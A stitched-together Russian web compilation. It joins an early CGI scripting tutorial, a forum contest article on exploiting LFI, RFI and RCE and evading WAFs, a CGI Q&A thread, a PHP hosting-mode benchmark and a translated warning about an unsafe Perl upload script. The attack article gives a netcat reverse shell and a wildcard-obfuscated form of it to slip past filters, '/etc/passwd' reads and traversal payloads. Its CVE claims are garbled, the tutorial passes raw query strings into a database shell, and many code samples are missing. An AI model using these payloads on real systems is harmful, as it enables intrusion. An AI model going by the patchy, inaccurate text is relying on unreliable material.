Применение скриптов широко практикуется в WWW. При их помощи, например, реализованы стеки графических гипертекстовых ссылок, встраивание даты в текст документов, встраивание ответов службы finger, доступ к базам данных и многое другое. Мы рассмотрим простейшие скрипты для распечатки параметров, передаваемых сервером, скрипты по обращению к shell, С скрипты, скрипты доступа к системе управления базами данных ingres и скрипт imagemap.

Простейшие скрипты и преобразование информации. Обсуждение начнем со скриптов, написанных на командном языке SHELL. Самый простой из них будет выглядеть как:

echo Content-type: text/plain

echo This is the result of script execution.

#The end of script

Первая строка определяет, что в качестве интерпретатора скрипта будет использован shell, вторая строка открывает заголовок сообщения, передаваемого скриптом серверу, и определяет тип передаваемой информации как обычный текст. Третья строка отделяет тело сообщения от его заголовка. В теле сообщения передается фраза из четвертой строки. Именно она и будет отображаться программой-интерфейсом пользователя.

В качестве следующего примера приведем скрипт, который отображает значения переменных окружения:

echo Content-type: text/plain

#The end of script.

В данном скрипте пользователю будут возвращены значения указанных в строках команды echo переменных окружения.

Пользователю можно вернуть не только значения переменных окружения, но и результаты выполнения команд.

echo Content-type: text/plain

#The end of script.


В результате выполнения этого скрипта пользователь получит информацию о пользователе paul с машины polyn.kiae.su.

Завершим обзор простейших скриптов небольшой программой на С:

env = getenv(«CONTENT_LENGTH»); /* Here we recieve a length */

sscanf(env,»%d»,&n); /* of input stream and form */

for(i=0;i Cgi script.(example#1) \n»);

Russian Research Center \»Kurchatov Institute\»

printf(«Input Nuber:%ld.
«,uid);

В приведенном выше примере программа получает данные через стандартный ввод. Это значит, что используется метод доступа POST. Число получаемых байтов указывается в переменной окружения CONTENT_LENGTH. Следует обратить внимание на то, что первой строкой записи в стандартный вывод является строка, определяющая тип информации. В данном случае он определен как текст HTML. Важно также отметить, что в этом операторе вывод завершается двумя переводами на новую строку, т.к. пустая строка должна разделять заголовок и тело сообщения, возвращаемого серверу. Остальные операторы выводят данные в виде HTML-предложений, формируя HTML-документ.

При написании скриптов следует учитывать то, что сервер обычно стартует в момент, когда не все пути могут быть определены, поэтому при обращении к ресурсам следует указывать полные пути для этих ресурсов.

Доступ к базе данных под управлением Ingres. Система управления базами данных Ingres является одной из популярных CУБД, работающих в среде операционной системы UNIX. Использование технологии разработки CGI-скриптов помогает построить современный дружественный интерфейс для пользователей WWW к базам данных под управлением данной СУБД. Начнем обсуждение этой возможности с простейших способов обращения с СУБД.

echo Content-type: text/plain

helpr polyn situat

#The end of script

Выполнение жестких запросов не очень интересно для пользователя. Он обычно жаждет сформулировать свой собственный запрос. В следующем примере скрипту передается запрос методом доступа GET, который помещен в переменную окружения QUERY_STRING:

echo Content-type: text/html

echo $QUERY_STRING | tr «+» » » | ingres polyn

#The end of script

Прежде всего данные посылаются на предобработку, т.к. все пробелы в запросе заменяются на знак «+» в соответствии с правилами HTTP. После этого фильтра данные поступают на стандартный ввод интерпретатора Ingres и результат работы возвращается пользователю.

Вообще говоря необходима фильтрация и на выходе после Ingres, т.к. вывод содержит неотображаемые символы, например символ ‘/007’, который лучше заменить на что-нибудь отображаемое.

Отчеты могут быть достаточно большими, поэтому имеет смысл ограничить отчет определенным числом строк:

echo Content-type: text/html

echo $QUERY_STRING | sed -f symbols | ingres polyn | tr «\007» «*» | head 100

#The end of script

В данном случае размер отчета ограничен 100 записями. Обратите внимание, в качестве фильтра используется sed, который выполняет правильное преобразование символов из формата HTTP в обычный ASCII. При формировании файла symbols (правила преобразования) следует помнить о порядке выполнения правил преобразования.

Одним из недостатков приведенных выше скриптов является невозможность или достаточно большая сложность преобразования выходной информации Ingres. Если необходимо получить отчет со встроенными в его текст ссылками и картинками, то лучше использовать универсальный язык программирования, например, С.

Программирование на С с использованием EQUEL (препроцессор для доступа к Ingres) позволяет аккуратно разобрать входные данные и построить сложный гипертекстовый отчет. На рисунке 3.29 приведен пример интерфейсной формы.

Рис. 3.29. Результат выполнения скрипта приведен на рисунке 3.30:

Работа со скриптом imagemap. Скрипт imagemap был разработан для организации доступа к документам по графическим гипертекстовым ссылкам. В общем случае это значит, что в текст HTML-документа встроена картинка. Данная картинка разбита на непересекающиеся области различной формы, обычно круги, прямоугольники или полигоны. С каждой из этих областей связан какой-либо объект (HTML-документ, другая картинка, фильм и т.п.). Выбирая мышью точку на этой картинке, пользователь выбирает объект, связанный с областью, которой принадлежит точка объекта и переходит к просмотру этого объекта. Например, на экране пользователя отображена Европейская часть территории Союза с административными границами республик. Выбирая точку внутри административных границ России, можно получить укрупненную карту европейской части России.

Некоторые HTTP-серверы реализуют функции imagemap самостоятельно, но чаще всего в Сети используют отдельный скрипт. Рассмотрим применение данного скрипта для сервера NCSA. Программа imagemap размещается в директории скриптов, обычно это: «/usr/local/etc/httpd/cgi-bin». В директории «/usr/local/etc/httpd/conf» размещается файл конфигурации скрипта. Для каждой картинки создается еще и файл разбиения картинки на области, адрес которого указывается в конфигурации скрипта.

Для организации стека графических ссылок в документе HTML используют следующую конструкцию:

Таким образом, URL скрипта imagemap в качестве последнего компонента пути содержит аргумент, в данном случае «russia». При использовании этой гипертекстовой ссылки программа-клиент добавляет после слова «russia» последовательность типа «?14,25». Первая цифра определяет координату X на картинке относительно левого ее края, а вторая цифра — координату Y относительно верхнего края картинки. При вызове скрипт ищет свой файл конфигурации, который имеет вид:

# метка : адрес файла описания картинки

Таким образом, для каждого вызова imagemap определяется описание разбивки картинки на непересекающиеся области. Каждый файл описания такой области может содержать три вида описаний: прямоугольной области, круговой области и полигона. Прямоугольник задается двумя углами: верхним левым и нижним правым, круг — центром и точкой на окружности, полигон — вершинами своих углов. При этом полигон рассматривается как замкнутый многоугольник, который может быть и невыпуклым. В качестве примера такого описания можно рассмотреть следующую запись:

rect 10 20 100 200

circle 50 50 60 60

poly 10 10 20 20 20 10

Практически все программы imagemap имеют ограничения на число вершин полигона, так для MS-Windows 3.1 ограничение равно 100 точкам.

Для разметки картинок используются специальные вспомогательные программы типа mape-dit, которые позволяют сделать процесс разбивки картинки более наглядным и менее трудоемким.

Общей проблемой, связанной с использованием скриптов, является проблема безопасности. Во-первых, скрипты обычно не пишут сами, как, например, скрипт imagemap, а заимствуют. Понятно, что чужая программа может содержать ошибки. Поэтому лучше пользоваться библиотеками проверенных скриптов, которые рекомендованы, например, World Wide Web Consortium. Во-вторых, если пользователю разрешено иметь свои страницы, то он может получить возможность выполнять свои скрипты на сервере, что тоже приводит к брешам в системе безопасности, особенно если это shell-скрипты. Существуют такие скрипты, которые требуют прав доступа к ресурсам машины. Эти права шире, чем права пользователя «nobody», например, при доступе к базам данных. Все эти моменты следует учитывать, как при написании скриптов, так и при разрешении использования различным группам пользователей.

Как правило, новые возможности WWW опробуются на скриптах, а затем, если эти возможности широко используются в практике, они включаются в стандарты различных компонентов системы и могут быть реализованы в новых возможностях серверов, как например imagemap и системы безопасности. Скрипты позволяют новым энтузиастам Сети приобщиться к сообществу и внести свою лепту в развитие системы.

Конкурс Эксплуатация уязвимостей LFI RFI RCE и обход комплексов безопасности.

Vertigo

Lex mea est Vulgate Linux

Приветствую Уважаемых Форумчан и Друзей.

Статья помечена как конкурсная не только для того,чтобы новички представили разнообразие пентеста.
А для вызова интереса и поддержки к участию в конкурсах.
Прошу Вас не голосовать за данную статью.Вместо этого,лучше отдайте свой голос за участников-новичков.
Ни с кем соревноваться не собираюсь,забирать призы тоже (Форум меня уже достаточно одарил).
Я всего лишь скромный брат Великого Codeby,у меня есть Братство Форума,его магия и конечно Ваше внимание.
Linux Forever . Лишь Искусство вечно в этой жизни.Надеюсь на понимание.

Поводом для написания статьи стал вопрос одного из Форумчан под статьёй о сканере,обнаруживающим уязвимости LFI.
Чтобы не раскатывать в ответе обойму на много знаков,решил выписать всё в отдельный пост.
И уж простите меня грешного,но картиночек не будет,извольте взглянуть сами при тестировании.
А постить изображения только ради самих изображений,как-то не есть гуд , да и материал будет весьма специфичный.

Многие эти способы могут понадобиться для раскручивания уязвимостей такого вида ручками.
На Оскара не претендую,для кого-то методы будут известными,а некоторые,возможно, откроют для себя что-то новое,что вызовет у меня только добрые эмоции.
Постараюсь поделиться небольшими знаниями благодаря коллегам из Азии, Black Hat, Red Team и соотечественникам.
На премию Дарвина тоже рассчитывать не желаю,поэтому:

Вся информация предназначена исключительно для ознакомления и изучения проблем безопасности.
Категорически запрещено использование рассматриваемых методик в незаконных целях.
Будьте разумными,милосердными и этичными.

Итог-чтение файлов с паролями,системных файлов или конфигурационных файлов.

RFI-Remote file include — удалённое выполнение кода на сервере.
Есть файл на сайте к примеру http://сайт.домен/index.html
Уязвимый PHP скрипт:

Пример обычного вызова такого скрипта:

Итог — выполнение злоумышленником своего шелл-кода на атакуемом сервере со своего сервера и получение доступа к атакуемому сайту.

RCE-Remote code execution — удалённое внедрение кода на сервере.

Пример обычного вызова такого скрипта: http://сайт.домен/index.php?code=phpinfo();
Итог — выполнение кода с вызовом функции phpinfo()

И конечно же многие из вас пробовали стандартные методы и получили такой же стандартный отлуп от тестируемых ресурсов.
Автоматизированные инструменты также подкачали,что неудивительно.
Самое время остановить работу инструментов и под пенный напиток засучить рукава.
При этом ничего вас не должно отвлекать и сковывать движения,пальцы легко перемещаются по клавиатуре,дыхание ровное.
(Если неровное,то возможно Вы забыли обсудить разрешение на то,что собираетесь делать,бегом за письменным разрешением))

Вначале помним,что производим разведку и просканировали на обнаружение директорий по-возможности.
Дефолтные директории конечно на многих серверах остаются стандартными.
(это чтобы не играть в угадайку до каких директорий и папок прорубать путь)

Благодаря тем,у кого всё же возникают вопросы какие файлы искать для инклуда, вытаскивания,интереса.
Вооот такие ленты появляются:

Прежде чем перейти к методикам эксплуатацации LFI и RFI,необходимо отметить,что при наличии современной версии PHP 7.2 вопрос открытый.
Сканеры могут обозначить уязвимый параметр скорее из-за какой-нибудь активной опасной директивы,но проэксплуатировать шанс ничтожно мал.
В сфере ИБ исключаются утвердительные акценты(вероятность существования 0day),всё отсылается к интервалу времени.
Это если говорить строго в прямых рамках рассматриваемых уязвимостей,без гибридных атак.

Эксплуатация таких уязвимостей ,особенно RFI зависит от активных директив allow_url_include и allow_url_fopen в настройках файлов php.ini,php-apache.ini,php-cli.ini
Местоположение таких файлов различное в системах , в зависимости от серверных модулей.
К примеру, если есть файл php-SAPI.ini ,то вместо php.ini будет использован файл php-apache.ini
Если все они активированы параметром ON-это увеличивает шанс успешной эскплуатации.

Переходы на уровни выше в каталогах /../ не стесняемся и ручками добавляем по нарастающей,чего обычно не делают инструменты.
Путь до корневой директории может быть неблизким,но не перебарщивайте,в стратосферу улетать не надо.
Но если заметили,что к запросу дописывается такое значение в конце: /etc/passwd.php ,либо иное значение,
то пробуем без расширения .php,пусть оно само допишется и когда ничего не выходит,или дописывается что-то иное-бросайте этот метод.
И да ,в системах BSD вот это вот /etc/passwd не ищите ,есть /etc/master.passwd в NetInfo directory и увидеть его может только суперпользователь.

2) Использование Null-byte
Данный способ отлично помогает обойти многие фильтры
Пример атак:

3) String limit — уменьшение строки для сброса приписываемого окончания или усечеие пути.
Применяется этот метод если версия PHP ниже 5.3 и когда в конце запроса дописывается как раз что-то иное, или расширение .php
Другими словами, экранируется возможность применения Null-byte и в настройках magic_quotes_gpc=On , а не No
А вам необходимо выдернуть файл с расширением .txt (а видим бесполезное в итоге file.txt.php).
Добавляем строки /./. и здесь гектарами наполняем наш запрос в конце такими слешами.

Почаще работаем клавишами Shift+Ctrl+C и Shift+Ctrl+V.
Заодно показываю вам ,как одним запросом перевыполнить план на Форуме по количеству печатных знаков при написании статей.
Здесь хоть до Марса,но не более 4096 символов -это лимит некоторых файловых систем UNIX.
С Windows вообще-то не разгоняйтесь — там 255,260 символов.Часто достаточно где-то 200 симоволов при таком методе независимо от платформы.
Вот, даже спорить не буду,сам боюсь запутаться,смотрим по этой части мегатонны очень полезной


А есть ведь ещё лимиты символов в URL-адресе :

Wrapper phar:// Создаём свой файл phar с meta-data
Расчёт на наличие у приложения класса AnyClass с активным destruct (),wakeup ()
Модуль присутствует по умолчанию в PHP,а сам пакет файлового архива аналогичен файлу jar на Java,
который облегчает миграцию модулей PHP.

Следим при создании файла phar,чтобы параметр phar.readonly был выключен,иначе файл не запишется.
После запуска нижеуказанного вредоносного кода в текущем каталоге будет создан файл с именем shell.phar.
Этот файл может быть использован include file_get_contents и другими функциями.

Например, имя загруженного файла ограничено. И мы не сможем загрузить файл php (имя суффикса ограничивается включением «$ file», . php ‘).
Поэтому и грузим phar и затем тут же переходим к использованию методу с php://filter .
В Азии совместное применение этих техник почему-то называется «Использование псевдопротокола».

glob:// Попытка обхода каталога,Поиск шаблонов путей сопоставления файлов.

Wrapper input://
На ресурсе должна быть активирована allow_url_include
Указываем полезную нагрузку в POST-параметрах:

5) Используем для обхода фильтров Double url-encoding — неотъемлимая составляющая в эксплуатации LFI.
Союзниками такого способа являются уязвимости Path Traversal и Directory traversal
Атака:

1) Условием является успешное включение через LFI /proc/self/environ
Вводится исходный код с помощью заголовка User Agent, после чего используем LFI, пытаемся включить на ресурсе /proc/self/environ
Это позволяет перезагрузить переменные среды, выполнив reverse shell.
Простая реализация:

2) С помощью загрузок.Здесь есть несколько разновидностей,все они касаются залития вариантов shell.

3) С помощью PHP sessions
Путь сохранения файла сеанса php можно увидеть в phpinfo session.save_path.
Формат имени cессии — sess_ [phpsessid]. И phpsessid мы должны контролировать,что можно увидеть в поле cookie отправленного и захваченного в Burpsuite запроса.
Пора ,кстати , дать передышку рукам и подключить для этого Burpsuite.
Атака относится к труднореализуемым,т.к. не всё возможно контролировать поскольку сеансы имеют временный характер и связаны с tmp.

Хранилища для php-сеанса:

Методика основана на особенностях синтаксиса bash и шаблонов, позволяющая обойти серьёзные настройки защиты.
К примеру,WAF настроен к блокировке запросов на /bin/ls и /etc/passwd как внутри значения параметра GET,так и в теле POST
Если сделать запрос типа /?cmd=cat+/etc/passwd,то навороченная WAF заблокирует не только выполнение запроса,но и ваш IP.
Используя в запросе подстановочные символы,шанс выполнения этого же запроса резко возрастает:
/?cmd=%2f. %2f??t%20%2f. %2fp??s??

А так к примеру: ls *. . будут перечислены все файлы в текущем каталоге с расширением длиной в 3 символа (.gif, .jpg, .txt)
Что за метод из приколов в терминале, скажете вы.Кому приколы , а кому с помощью Netcat ,Curl и Wget так вызывается беспрепятственно обратная оболочка.
Или вталкивается shell и эксплуатируется RCE.
Например,если у себя вызвать reverse shell командой nc -e /bin/bash 127.0.0.1 1337 ,
можно добиться того же результата применив синтаксис: /. /n? -e /. /b??h 2130706433 1337

Так,стоп.Будет несправедливо поступить со свежим материалом в стиле «Знаю вот такой способ,сейчас расскажу вам о нём»
Это стоит увидеть,Ребята, с иллюстрациями,к тому же это большое исследование автора,вызвавшее шок среди безопасников.
Проверены все уровни настроек WAF, вплоть до параноидальных с попытками обхода защиты c результатами.

Кое-где аккуратненько перепечатывают посты,мы не будем этим заниматься.
Поэтому читаем оригиналы и наслаждаемся

(Если у кого проблемы с английским,могу кинуть свежие ссылки на китайском,с которого для себя перевёл одну из этих статей))

1) При создании приватных нагрузок для успешной эксплуатации LFI для чтения конфигурационных файлов применяется следующий каркас:
..\//..\//..\//\;%00
Большие Дядьки с огромными black-hat с широченными полями зарабатывают на уязвимостях крупных ресурсов большие деньги.
С применением такого каркаса недавно взломали сайт одного из мировых ритейлеров.

2) Пока готовил материал , насмотрелся разного, хорошо что не страдаю страстью к дорогим гаджетам.
Владельцы Apple скоро будут читать наверное новости о уязвимостях,позволяющие читать приватную информацию за счёт эскалации привелегий.
Не уклоняясь от темы: из последних уязвимостей RCE носит обозначение CVE-2020-8495
Касается она Windows Server 2020, Windows 10, Windows 10 Servers.
Реализацию эксплуатации можно наглядно увидеть

3) И из категории 0day этого месяца конкретно по RCE,есть проблема с РПДУ Juuko jk-800
Который используется в промышленности .
Также актуальна на текущую дату сентябрьская CVE-2020-8423 для Windows.
Уязвимость позволяет злоумышленникам выполнять удалённо произвольный код на Microsoft Windows.
Реализация её требует взаимодействия с пользователем, который посещает вредоносную страницу и открывает вредоносный файл.

На этом у меня всё,Благодарю за внимание, да прибудут с вами высшие силы терминала.

Что такое CGI скрипт?

23.08.2014, 17:52

php скрипт CGI
Я новичок. Поэтому сильно не ругайтесь, но проблема в следующем. Я описал проблему как для LAMPP.

Что такое CGI?
прочитал вот это: https://ru.wikipedia.org/wiki/CGI черным по русски там написано: а.

Помогите разобраться, что такое CGI Wrap?
Помогите разобраться, что такое CGI Wrap? Я так понял, что это не очень большая штука, которая.

Помогите понять что это такое — /wbmp.cgi
Помогите понять что это такое — /wbmp.cgi?http://host.com/image.php Допустим так, это используется.

что такое скрипт?
Делаю первую в жизни программу перерыл интернет скачал Notepad++, плагин-компелятор а при нажатии.

23.08.2014, 17:56 2

CGI — это специальный интерфейс взаимодействия между PHP и вебсервером.
Очень сильно устаревший, применялся только в начале существования интернета.

Современные интерфейсы — это FastCGI и модули вебсерверов. PHP обычно применяется в виде FastCGI с nginx и модулем с Apache.

23.08.2014, 18:22 [ТС] 3 23.08.2014, 18:30 4

Неправильно понял. Это способ взаимодействия интерпретатора языка и вебсервера.

Ссылку я дал, можно мышкой щелкнуть по синему подчеркнутому слову в моем предыдущем сообщении.

«mod_php vs CGI vs FastCGI» или «Как выбирать хостера»

Предлагаю вашему вниманию свои изыскания по вопросу производительности php (а точнее, предпочтительный вариант конкретно для Битрикса) в разных режимах запуска. Целью не было получить какие-то цифры по возможной посещаемости, а именно сравнить разные варианты при прочих равных условиях.

GGI — самый старый способ запуска скриптов (в том числе и php). В этом случае на каждый хит запускается интерпретатор php как самостоятельное приложение и ему отдаётся скрипт для запуска. Скрипт должен вернуть заголовки, затем код html страницы. После этого интерпретатор прекращает свою работу.

Модуль Apache — в этом случае php постоянно находится в памяти веб сервера, не тратится время на запуск интерпретатора.

FastCGI — эволюция CGI интерфейса, в этом случае php запускается отдельным процессом, но после выполнения скрипта не прекращает свою работу.

Действительно ли он такой быстрый, этот FastCGI? Проверим!

На одной машине установлен Apache 2.2 + MySQL 5, а также демонстрационный сайт «Битрикс Бизнес». Кеширование компонентов битрикс отключил чтобы случайное пересоздание кеша не повлияло на результаты.
Здесь я умышленно не акцентирую внимание на аппаратной части и конфигурации т.к. повторюсь, задача не получить абсолютные величины, а сравнить разные режимы работы php.
Другая машина по локальной сети создаёт имитацию нагрузки на сервер. Для этого я использовал JMeter .
Он написан на Java и сам создаёт приличную нагрузку , поэтому для чистоты эксперимента мне пришлось его «отделить» от сервера.

План тестирования состоял из 6 страниц, по 2 параллельных запроса. Постарался выбрать наиболее динамически загруженные страницы, для удобства дал им условные названия по контенту. Не следует ассоциировать скорость отдачи страниц с одноимёнными модулями.
Загружался только динамический код страниц без статики, соответственно nginx не использовал (подробности в учебном курсе ).

Итак, всё готово, приступаем к тестированию.

Тестирование без акселератора php

CGI
Получился следующий график суммарных результатов по всем страницам:

Синий — среднее время отдачи на каждом хите в мс
Пурпурный — статистическое среднее
Красный — отклонение от среднего
Зелёный — скорость отдачи страниц

В итоге имеем среднее время 5,5 секунды на страницу, скорость отдачи страниц — 105 в минуту.
Обратите внимание, здесь время на страницу — это время, которое реально ждёт пользователь, а не среднее по всем параллельным запросам (во втором случае мы получим 105/60 = 1,75 сек на страницу).

Отдельно по страницам получилась такая диаграмма (среднее время ответа):

Здесь уже результат получше — 122 страницы в минуту. И соответственно, диаграмма:

Совсем неплохой результат по сравнению с традиционным CGI: 120 страниц в минуту, чуть медленнее, чем модуль.
Диаграмма:

Но как изменится картина если установить акселератор php?

Результаты тестирования с установленным EAccelerator

CGI — EA
Известно, что акселератор не работает в CGI режиме т.к. ему нужен доступ к общей памяти из всех процессов. Но в phpinfo есть информация о том, что eaccelerator загружен и создаётся ощущение, что он работает. Давайте проверим.

108 страниц в минуту. Это практически тот же результат что и был. Диаграмма:

309 страниц в минуту, среднее время ожидания ответа 1 секунда. Я бы сказал, это уже что-то. Ну и соответственно по страницам:

294 страницы в минуту, т.е. примерно на 5% медленнее, чем модуль. Но всё равно не идёт ни в какое сравнение с традиционным и неторопливым CGI режимом.

В среднем по страницам также прослеживается небольшое отставание от модуля.

А есть ли другие проблемы?

  • Как CGI, так и FastCGI работают независимо от веб сервера. А это значит что если происходит какая-то ошибка, веб сервер не получает заголовки от скрипта и возвращает нам в ответ » Ошибка 500 на стороне сервера». Чтобы узнать какая произошла ошибка, надо смотреть логи сервера, к которым далеко не всегда есть прямой доступ у пользователя. В случае модуля Apache ошибка может сразу отобразиться на экране (если включен вывод ошибок) и отладка скриптов осуществляется гораздо проще и быстрее.
  • В CGI/FastCGI режимах есть проблема с авторизацией HTTP, как следствие — проблема с интеграцией с 1С, есть и другие специфические проблемы.
  • При загрузке в Apache модуля php мы получаем замечательную возможность менять на лету некоторые настройки php через .htaccess, в CGI/FastCGI опять же получим ошибку 500.
  • Основной довод сторонников CGI/FastCGI — это безопасность. Т.к. php работает как отдельное приложение — пользователи хостинга на системном уровне отделены друг от друга, а в режиме модуля существует гипотетическая возможность ломать соседние сайты на хостинге. Отчасти это так, но на сегодняшний день существуют определённые механизмы защиты и по опыту техподдержки могу сказать, что основную проблему безопасности пользователей представляют трояны, которые воруют пароли ftp и вживляют паразитный код на сайты.

Хостеры часто используют CGI т.к. в этом случае гораздо удобнее управлять [читать: резать] ресурсами пользователей. И в итоге получаем «непонятные ошибки».

Хочу упомянуть ещё об одном важном моменте: сегодня php идёт одним файлом для CGI и FastCGI режимов, в phpinfo видим:

Server API: CGI/FastCGI

А значит слабо представляется возможным на пользовательском уровне выяснить, как на самом деле работает php. Учитывая скудную документацию по настройке FastCGI очень может быть, что вы будете введены в заблуждение.

Выводы или «Как же выбрать хостера?»

Если вы простой пользователь, вероятно, прокрутили весь технический груз чтобы сразу найти ответ на вопрос.

  • Выбирайте CGI режим если ваш сайт посвящён восточной философии и время загрузки страниц посетителей сайта не волнует.
  • FastCGI даёт хорошие результаты по производительности, но ему присущи проблемы CGI режима, а это постоянные ошибки сервера «500».
  • В остальных случаях рекомендую использовать php как модуль Apache . Особенно если речь идёт о выделенном сервере или VPS.
  • Обязательно обращайте внимание на акселератор php . К сожалению, многие хостеры не уделяют этому вопросу должного внимания.
  • И вот ещё важный момент: не выбирайте в качестве хостера соседа по лестничной клетке, порой элементарное неумение настроить систему приносит больше проблем, чем всё остальное. Выбирайте профессионалов .
  • Рекомендуем перед долговременной покупкой хостинга тестировать его нашим скриптом . Мы периодически обновляем скрипт с учётом новых проблем.



Смотрите сами и делайте выводы. К сожалению, пользователь начинает понимать важность «правильного» хостинга только после того как столкнулся с чередой проблем.

К сожалению, пользователь начинает понимать важность «правильного» хостинга только после того как столкнулся с чередой проблем.

>Хорошо если есть возможность.
У нас вот как раз другой случай. Я именно и хотел отметить, что мы «не имели возможность» (сейчас конечно имеем), а «были вынуждены» самим заморачиваться. И это был хоть и проблемный, но полезный опыт.
А началось все с того, что один из проектов, которым я занимаюсь, переехал на выделенный сервер, арендованный у одного хостера. (я позже скажу кто это) Сервер взяли с администрированием, т.е. они должны были все поддерживать и следить за сервером. После некоторых переговоров с ТП хостера, и ихних заверений, что сделаем все как надо (я им скидывал ваши рекомендации), мы оплатили и перенесли сайт. И начались проблемы. Сайт лежал по два часа в день. Перечислять что и как все решалось, сколько времени я убил на разговоры почти со всеми из их ТП и т.д. — мне пол дня понадобится.
Я, тем временем болея за проект, сам вникал во всю вашу документацию по настройке (я то как раз мат. часть хорошо знаю — т.е. теорию и все технологии. и мне все понятно, но вот где ручками что сделать надо, увы — нет практики) и вместе с ТП хостера пытался выяснить в чем проблема.
В итоге они нас «развели» на гиг памяти, хотя надо признаться он реально был нужен. После этого вроде стало все стабильно работать, но прошла неделя стабильной работы и опять начались проблемы такие же. Хотя посещаемость не выросла, нагрузка тоже. Начались опять дебаты, в процессе которых они начали опять говорить про еще два гига памяти. Причем аренда гига памяти у них стоит 350 рублей в месяц, при стоимости самого гига в 800 р Я сразу понял, что дело тут не чисто. я человек прямой, и когда я понимаю, что мне пудрят мозги, я просто посылаю открытым текстом в жопу (а то еще дальше, но рядом), что я и сделал.
Естественно они это перенести не смогли и даже пообещали в одностороннем порядке расторгнуть договор (чего они не сделали, конечно,ибо были бы юридически не правы).

После такого поворота событий я был вынужден искать помощи, кстати в первую очередь обратился здесь на форуме. Откликнулся Евгений Педан, за что ему отдельное спасибо. Он нам там «подкрутил некоторые гайки», и кстати он и обнаружил, что там даже не стояло (. ) php-акселератора. Вообщем хостер реально плевать хотел на те ваши рекомендации, которые я им скидывал, кстати, они потом прокомментировали это так: битрикс кто? пишет цмс? ну вот и пусть пишет — они нам не показатель, а мы хостинг компания — нам лучше знать.

Нафига нам было обещать тогда рекомендации выполнить до заключения договора. Непонятно..

Евгений нам помог, но решить полностью проблему не смог, т.к. сервер на FreeBSD, а Евгений опытен в Linux. Вообще пришлось открывать свою записную книжку старую, и искать контакты бывших однокашников и прочих, кто мне мог помочь. После чего, вышел на очень профессиональных людей, один из которых за два дня привел все в порядок. Сервер стал работать стабильно.

На момент проблем нагрузка была около 7000. Сейчас бывает и по 20000. И сервер справляется без проблем. Но мы уже глядя в будущее собрали свой сервер более мощный. За весь период общения с профессионалами, я многое узнал. С теми с кем я общаюсь, работают в серьезных организациях, например в РЖД, где обеспечивают работу систем безопасности — серьезные ребята вообщем (многие бородатые ).

Так вот они поведали, что режим mod_php при грамотной сборке должен быть производительней в среднем на 20% чем FastCGI. Причем если нужно отделить пользователей, то даже использование виртуальных ОС, на каждую из которых естественно тратятся ресурсы, дает фору режиму FastCGI. Но использование виртулов требует больше памяти.

Надо отметить у Вас даже получились неплохие результаты в пользу FastCGI.

Ошибка программного обеспечения при выполнении сценария CGI

У меня есть сценарий cgi для загрузки, который выглядит следующим образом

Файл HTML выглядит следующим образом

Теперь я получаю странную ошибку.

Ошибка программного обеспечения:

Является каталогом на странице htdocs/upload.cgi 9.

Для получения справки, пожалуйста, отправьте письмо на веб-мастер этого сайта, указав это сообщение об ошибке и время и дату ошибки.

TL; DR

Стоп. Поместите свой скрипт прямо сейчас. Это зияющая дыра в безопасности, ожидающая, что ее будут использовать. Прочтите следующие ресурсы:

Когда вы прочитали — и поняли — все, остановитесь и подумайте, действительно ли вам нужно, чтобы пользователи загружали файлы на ваш сервер. Подумайте, долго и упорно. Можете ли вы действительно учитывать все перечисленные уязвимости? Если вы все еще чувствуете, что вам нужно это сделать, подумайте о привлечении помощи эксперта по безопасности. Соблюдайте рекомендации, изложенные в вышеуказанных ресурсах, и понимайте, что ошибка в вашем дизайне может поставить под угрозу весь ваш сайт.

Я понимаю, что это всего лишь тестовый скрипт, а не производственное приложение (по крайней мере, я действительно надеюсь, что это так), но даже в этом случае то, что вы делаете (и особенно то, как вы это делаете), — очень и очень плохая идея , Ниже приведены некоторые из причин, почему на странице OWASP в разделе «Загрузка неограниченного файла»:

  • Веб-сайт может быть поврежден.
  • Веб-сервер может быть скомпрометирован путем загрузки и выполнения веб-оболочки, которая может: запускать команду, просматривать системные файлы, просматривать локальные ресурсы, атаковать на другие серверы и использовать локальные уязвимости и т.д.
  • Эта уязвимость может сделать сайт уязвимым для некоторых других типов атак, таких как XSS.
  • Уязвимости, связанные с локальным доступом к файлу, могут быть использованы при загрузке вредоносного файла на сервер.

Больше от OWASP:

Загруженные файлы представляют значительный риск для приложений. Первым шагом во многих атаках является получение некоторого кода для атаки на систему. Тогда атака должна найти способ получить код. Использование загрузки файла помогает злоумышленнику выполнить первый шаг.

Последствия неограниченной загрузки файлов могут различаться, включая полный захват системы, перегруженную файловую систему, переадресацию атак на бэкэнд-системы и простое исправление.

Довольно страшно, да?

Проблемы

Ваш код

Давайте начнем с рассмотрения некоторых проблем с кодом, который вы опубликовали.

Нет строгих, никаких предупреждений

Начните use strict; use warnings; use strict; use warnings; в верхней части каждого скрипта Perl, который вы когда-либо писали. Недавно я получил удовольствие от исправления сценария CGI, содержащего фрагмент кода примерно так:

Этот код использовался для проверки того, что имя пользователя, введенное в HTML-форму, соответствует списку допустимых пользователей. Одна проблема: переменная $usrname была написана с ошибкой (это должно было быть $username с ‘e’). Поскольку строгая проверка была отключена, Perl удачно вставил значение (необъявленной) глобальной переменной $usrname или undef . Это превратило невинно выглядящий фрагмент в это чудовище:

который соответствует всем в действительном списке пользователей и возвращает первое совпадение. Вы можете ввести все, что захотите, в поле имени пользователя в форме, и сценарий будет считать вас действительным пользователем. Поскольку предупреждения были также отключены, это никогда не попадалось в процессе разработки. Когда вы включаете предупреждения, сценарий все равно будет запускаться и возвращать пользователя, но вы также получите что-то вроде этого:

Когда вы также включаете строгую, скрипт не компилируется и даже не запускается. Существуют и другие проблемы с этим фрагментом (например, строка «a» будет соответствовать имени пользователя «janedoe»), но строгие и предупреждения, по крайней мере, предупреждают нас об одной серьезной проблеме. Я не могу этого достаточно подчеркнуть: всегда, всегда use strict; use warnings; use strict; use warnings;

Без taint-режима

Первым правилом веб-разработки является «Всегда санировать пользовательский ввод». Повторите за мной: всегда санируйте вход пользователя. Еще один раз: всегда санируйте вход пользователя. Другими словами, никогда не слепо доверять пользовательскому вводу, не проверяя его в первую очередь. Пользователи (даже те, кто не злонамерен) очень хорошо вставляют творческие значения в поля формы, которые могут нарушить ваше приложение (или, что еще хуже). Если вы не ограничиваете их творчество, нет ограничений на вред, который злоумышленник может сделать на вашем сайте (см. Многолетнюю уязвимость №1 в OWASP Top 10, инъекция).

